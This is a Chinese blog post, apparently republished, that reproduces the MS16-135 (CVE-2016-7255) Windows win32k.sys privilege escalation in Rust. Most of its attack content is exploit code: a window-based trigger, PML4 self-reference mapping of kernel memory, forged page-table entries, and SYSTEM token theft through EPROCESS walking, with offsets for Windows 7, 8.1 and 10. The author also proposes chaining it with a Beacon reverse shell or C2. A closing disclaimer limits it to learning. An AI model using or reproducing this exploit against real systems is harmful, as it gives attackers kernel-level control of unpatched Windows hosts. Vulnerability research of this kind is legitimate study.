文章总结: 本文详细介绍了使用Rust语言复现MS16-135Windows内核提权漏洞的技术细节。作者分析了win32k.sys驱动缺陷,通过窗口操作触发漏洞,利用PML4自引用机制映射内核内存,并窃取SYSTEMToken实现权限提升。文中包含完整的Rust代码示例及不同系统版本的偏移量,适用于安全研究与漏洞分析学习。 综合评分: 90 文章分类: 漏洞分析,二进制安全,渗透测试,实战经验
让rust帮你制作ms16-135洞洞
原创
zorejt
Jiyou too beautiful
2025年12月23日 20:10 中国香港
总所周知,ms16洞洞已经是属于古老洞了,也是几年前的事情,但是最近吃饱饭在厕所拉屎找到了灵感,使用rust复现一个吧,这个漏洞编号是cve-2016-7255,内核提权的漏洞
ms16-135 的核心问题在于 windows 内核的 win32k.sys 驱动程序在处理窗口菜单对象时存在缺陷。具体来说,当应用程序通过 SetWindowLongPtr API 修改窗口的某些属性时,内核没有正确验证用户模式传入的指针,导致可以读写内核内存。
触发流程如下
攻击者创建一个父窗口和一个子窗口,并通过 SetWindowLongPtr 设置子窗口的 ID 为一个精心构造的地址
//示例代码use std::ptr;
// Windows API 声明extern "system" { fn CreateWindowExW( dwExStyle: u32, lpClassName: *const u16, lpWindowName: *const u16, dwStyle: u32, x: i32, y: i32, nWidth: i32, nHeight: i32, hWndParent: *mut c_void, hMenu: *mut c_void, hInstance: *mut c_void, lpParam: *mut c_void, ) -> *mut c_void;
fn SetWindowLongPtrW(hWnd: *mut c_void, nIndex: i32, dwNewLong: isize) -> isize;}
// 创建父窗口let hwnd_parent = CreateWindowExW( 0, class_name.as_ptr(), ptr::null(), WS_OVERLAPPEDWINDOW | WS_VISIBLE, 0, 0, 360, 360, ptr::null_mut(), ptr::null_mut(), ptr::null_mut(), ptr::null_mut(),);
// 创建子窗口let hwnd_child = CreateWindowExW( 0, class_name.as_ptr(), "Child\0".encode_utf16().collect::<Vec<u16>>().as_ptr(), WS_OVERLAPPEDWINDOW | WS_VISIBLE | WS_CHILD, 0, 0, 160, 160, hwnd_parent, ptr::null_mut(), ptr::null_mut(), ptr::null_mut(),);
触发内核漏洞是通过特定的窗口消息和键盘模拟(Alt+Esc 组合键),触发内核中的菜单处理代码,然后内存叶操作是利用 PML4(Page Map Level 4)自引用机制,使原本不可访问的内核地址变为可访问,然后token窃取是在内核内存中定位当前进程和 SYSTEM 进程的 EPROCESS 结构,将 SYSTEM 的 Token 复制到当前进程
// 设置窗口属性触发漏洞,示例代码const PML4_SELF_REF: u64 = 0xFFFFF6FB7DBEDF68;let p_id = (PML4_SELF_REF - 0x28) as isize;SetWindowLongPtrW(hwnd_child, GWLP_ID, p_id);
这是PML4 表的某个条目指向自身,形成自引用。通过这个特性,攻击者可以:
- 访问和修改页表项(PTE、PDE、PDPTE、PML4E)
use std::mem; //示例代码
const PML4_SELF_REF: u64 = 0xFFFFF6FB7DBEDF68;
extern "system" { fn GetMessageW(lpMsg: *mut MSG, hWnd: *mut c_void, wMsgFilterMin: u32, wMsgFilterMax: u32) -> i32; fn TranslateMessage(lpMsg: *const MSG) -> i32; fn DispatchMessageW(lpMsg: *const MSG) -> isize; fn VirtualQuery(lpAddress: *const c_void, lpBuffer: *mut MEMORY_BASIC_INFORMATION, dwLength: usize) -> usize;}
// 安全读取内存函数unsafe fn try_read_u64(addr: u64) -> Option<u64> { let mut mbi: MEMORY_BASIC_INFORMATION = mem::zeroed();
if VirtualQuery(addr as *const c_void, &mut mbi, mem::size_of::<MEMORY_BASIC_INFORMATION>()) == 0 { return None; }
// 检查内存是否可读 if mbi.State == MEM_COMMIT && mbi.Protect != PAGE_NOACCESS && mbi.Protect & PAGE_GUARD == 0 { Some(*(addr as *const u64)) } else { None }}
-
将内核地址映射到用户空间
-
绕过内存保护机制
关键地址 0xFFFFF6FB7DBEDF68 就是 PML4 自引用入口点。在漏洞触发前,这个地址是不可访问的;触发后,它变为可读写
// 消息循环中检测 PML4let mut msg: MSG = mem::zeroed();while GetMessageW(&mut msg, ptr::null_mut(), 0, 0) != 0 { TranslateMessage(&msg); DispatchMessageW(&msg);
// 尝试读取 PML4 if let Some(value) = try_read_u64(PML4_SELF_REF) { if (value & 0x67) == 0x67 { println!("PML4 accessible: 0x{:x}", value); break; } }}
第一阶段触发漏洞
利用程序首先创建窗口对象并设置特殊的窗口属性。然后通过消息循环和键盘模拟来触发内核中的漏洞代码路径。这个过程需要精确的时序控制,因为窗口消息的处理是异步的。
创建父窗口 -> 创建子窗口 -> 设置窗口属性 -> 模拟键盘输入 -> 触发漏洞
use std::mem; //示例代码
extern "system" { fn RegisterClassExW(lpwcx: *const WNDCLASSEXW) -> u16; fn DefWindowProcW(hWnd: *mut c_void, Msg: u32, wParam: usize, lParam: isize) -> isize; fn keybd_event(bVk: u8, bScan: u8, dwFlags: u32, dwExtraInfo: usize);}
#[repr(C)]struct WNDCLASSEXW { cbSize: u32, style: u32, lpfnWndProc: unsafe extern "system" fn(*mut c_void, u32, usize, isize) -> isize, cbClsExtra: i32, cbWndExtra: i32, hInstance: *mut c_void, hIcon: *mut c_void, hCursor: *mut c_void, hbrBackground: *mut c_void, lpszMenuName: *const u16, lpszClassName: *const u16, hIconSm: *mut c_void,}
// 窗口过程函数unsafe extern "system" fn window_proc( hwnd: *mut c_void, msg: u32, wparam: usize, lparam: isize,) -> isize { DefWindowProcW(hwnd, msg, wparam, lparam)}
// 注册窗口类unsafe fn register_window_class(class_name: &[u16]) -> bool { let wc = WNDCLASSEXW { cbSize: mem::size_of::<WNDCLASSEXW>() as u32, style: 0, lpfnWndProc: window_proc, cbClsExtra: 0, cbWndExtra: 0, hInstance: ptr::null_mut(), hIcon: ptr::null_mut(), hCursor: ptr::null_mut(), hbrBackground: ptr::null_mut(), lpszMenuName: ptr::null(), lpszClassName: class_name.as_ptr(), hIconSm: ptr::null_mut(), };
RegisterClassExW(&wc) != 0}
// 模拟 Alt+Shift+Tab 键盘输入unsafe fn simulate_alt_shift_tab() { const VK_MENU: u8 = 0x12; // Alt 键 const VK_SHIFT: u8 = 0x10; // Shift 键 const VK_TAB: u8 = 0x09; // Tab 键 const KEYEVENTF_KEYUP: u32 = 0x0002;
// 按下 Alt keybd_event(VK_MENU, 0, 0, 0); thread::sleep(Duration::from_millis(50));
// 按下 Shift keybd_event(VK_SHIFT, 0, 0, 0); thread::sleep(Duration::from_millis(50));
// 按下并释放 Tab keybd_event(VK_TAB, 0, 0, 0); thread::sleep(Duration::from_millis(50)); keybd_event(VK_TAB, 0, KEYEVENTF_KEYUP, 0);
// 释放 Shift keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
// 释放 Alt keybd_event(VK_MENU, 0, KEYEVENTF_KEYUP, 0);}
第二阶段:内存映射
一旦漏洞被触发,PML4 自引用地址变为可访问。利用程序随后:
-
读取 PML4 基址和索引
-
在 PML4 表中寻找空闲条目
-
创建”伪造”的页表条目,将内核地址映射到用户空间
-
通过这些映射访问和修改内核内存
// 页表项标志位。示例代码const PTE_PRESENT: u64 = 0x01; // 页面存在const PTE_WRITE: u64 = 0x02; // 可写const PTE_USER: u64 = 0x04; // 用户模式可访问const PTE_ACCESSED: u64 = 0x20; // 已访问const PTE_DIRTY: u64 = 0x40; // 已修改const PTE_LARGE_PAGE: u64 = 0x80; // 大页面
// 页表项结构#[repr(C)]struct PageTableEntry { value: u64,}
impl PageTableEntry { // 创建新的页表项 fn new(physical_addr: u64, flags: u64) -> Self { let pfn = (physical_addr >> 12) & 0xFFFFFFFFFFF; // 物理页帧号 PageTableEntry { value: (pfn << 12) | flags, } }
// 获取物理地址 fn physical_address(&self) -> u64 { self.value & 0xFFFFFFFFFFFFF000 }
// 检查标志位 fn is_present(&self) -> bool { (self.value & PTE_PRESENT) != 0 }
fn is_writable(&self) -> bool { (self.value & PTE_WRITE) != 0 }}
// 创建内核地址映射unsafe fn map_kernel_memory(kernel_addr: u64) -> Option<u64> { // 找到空闲的 PML4 条目 let free_pml4_entry = look_free_entry_pml4()?;
// 创建页表项,映射内核地址到用户空间 let flags = PTE_PRESENT | PTE_WRITE | PTE_USER | PTE_ACCESSED | PTE_DIRTY; let pte = PageTableEntry::new(kernel_addr, flags);
// 写入 PML4 条目 *(free_pml4_entry as *mut u64) = pte.value;
// 计算映射后的用户空间地址 let pml4_index = (free_pml4_entry - PML4_BASE) / 8; let user_addr = pml4_index << 39;
Some(user_addr)}
前提要计算PML4的内存的地址和利用地址
// 计算 PML4 基址和索引const PML4_SELF_REF_INDEX: u64 = get_index(PML4_SELF_REF);const PML4_BASE: u64 = PML4_SELF_REF & 0xFFFFFFFFFFFFF000;
// 寻找空闲的 PML4 条目unsafe fn look_free_entry_pml4() -> Option<u64> { let mut offset = 0xF00u64; // 从高地址开始搜索
while offset < 0xFF8 { let pml4_search = PML4_BASE + offset;
if let Some(value) = try_read_u64(pml4_search) { if value == 0 { // 找到空闲条目 return Some(pml4_search); } }
offset += 8; }
None}
第三阶段:权限提升
最关键的步骤是 Token 窃取。Windows 内核中每个进程都有一个 EPROCESS 结构,其中包含进程的 Token。Token 决定了进程的权限级别。
利用程序通过以下步骤完成权限提升:
-
定位 SYSTEM 进程:遍历内核中的进程链表(ActiveProcessLinks),找到 PID 为 4 的 SYSTEM 进程
-
提取 SYSTEM Token:从 SYSTEM 进程的 EPROCESS 结构中读取 Token 地址
-
定位当前进程:继续遍历进程链表,找到当前进程的 EPROCESS 结构
-
替换 Token:将当前进程的 Token 替换为 SYSTEM 的 Token
这个过程通过注入到内核的 shellcode 完成。Shellcode 被存储在 HAL(Hardware Abstraction Layer)堆中,然后通过覆写中断处理函数指针来执行。
EPROCESS 结构和进程遍历的示例代码:
// 不同 Windows 版本的 EPROCESS 偏移量struct EprocessOffsets { token_offset: usize, // Token 字段偏移 active_process_links: usize, // ActiveProcessLinks 偏移 unique_process_id: usize, // UniqueProcessId 偏移}
impl EprocessOffsets { fn for_windows7() -> Self { EprocessOffsets { token_offset: 0x208, active_process_links: 0x188, unique_process_id: 0x180, } }
fn for_windows81() -> Self { EprocessOffsets { token_offset: 0x348, active_process_links: 0x2e8, unique_process_id: 0x2e0, } }
fn for_windows10() -> Self { EprocessOffsets { token_offset: 0x358, active_process_links: 0x2f0, unique_process_id: 0x2e8, } }}
// 在内核内存中查找进程(这是 shellcode 的逻辑,简化表示)unsafe fn find_process_token( eprocess_base: u64, target_pid: u32, offsets: &EprocessOffsets,) -> Option<u64> { let mut current_eprocess = eprocess_base;
// 遍历进程链表 loop { // 读取当前进程的 PID let pid_addr = current_eprocess + offsets.unique_process_id as u64; let pid = try_read_u64(pid_addr)? as u32;
if pid == target_pid { // 找到目标进程,读取 Token let token_addr = current_eprocess + offsets.token_offset as u64; return try_read_u64(token_addr); }
// 移动到下一个进程 let flink_addr = current_eprocess + offsets.active_process_links as u64; let flink = try_read_u64(flink_addr)?;
// 从 LIST_ENTRY 的 Flink 计算 EPROCESS 地址 current_eprocess = flink - offsets.active_process_links as u64;
// 防止死循环 if current_eprocess == eprocess_base { break; } }
None}
// 执行 Token 窃取unsafe fn steal_system_token(current_pid: u32, offsets: &EprocessOffsets) -> Result<(), String> { // 获取当前进程的 EPROCESS 地址(通过内核映射) let current_eprocess = get_current_eprocess()?;
// 查找 SYSTEM 进程(PID = 4)的 Token let system_token = find_process_token(current_eprocess, 4, offsets) .ok_or("Failed to find SYSTEM process")?;
// 查找当前进程的 Token 地址 let current_token_addr = find_process_token(current_eprocess, current_pid, offsets) .ok_or("Failed to find current process")?;
// 替换 Token(写入内核内存) *(current_token_addr as *mut u64) = system_token;
Ok(())}
不同 Windows 版本的 EPROCESS 结构偏移量不同
Windows 7:Token 偏移 +0x208,ActiveProcessLinks 偏移 +0x188Windows 8.1:Token 偏移 +0x348,ActiveProcessLinks 偏移 +0x2e8Windows 10:Token 偏移 +0x358,ActiveProcessLinks 偏移 +0x2f0
下面是直接提权的视频
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
Jiyou too beautiful已关注
分享视频
,时长01:06
0/0
00:00/01:06
切换到横屏模式
继续播放
[ ]
进度条,百分之0
播放
00:00
/
01:06
01:06
倍速
全屏
倍速播放中
0.5倍 0.75倍 1.0倍 1.5倍 2.0倍
超清 流畅
继续观看
让rust帮你制作ms16-135洞洞
观看更多
转载
,
让rust帮你制作ms16-135洞洞
Jiyou too beautiful已关注
分享点赞在看
已同步到看一看写下你的评论
视频详情
像这种的漏洞其实可以搭配revshell或者自己喜欢的c2,接下来我将搭配beacon的revshell来使用该洞洞
已关注
关注
重播 分享 赞
关闭
观看更多
更多
退出全屏
切换到竖屏全屏退出全屏
Jiyou too beautiful已关注
分享视频
,时长01:08
0/0
00:00/01:08
切换到横屏模式
继续播放
[ ]
进度条,百分之0
播放
00:00
/
01:08
01:08
倍速
全屏
倍速播放中
0.5倍 0.75倍 1.0倍 1.5倍 2.0倍
超清 流畅
继续观看
让rust帮你制作ms16-135洞洞
观看更多
转载
,
让rust帮你制作ms16-135洞洞
Jiyou too beautiful已关注
分享点赞在看
已同步到看一看写下你的评论
视频详情
该文章仅供学习,切勿利用于违法行为,看看就好,图一乐,没灵感了拉个屎就有了~
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:Jiyou too beautiful zorejt《让rust帮你制作ms16-135洞洞》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论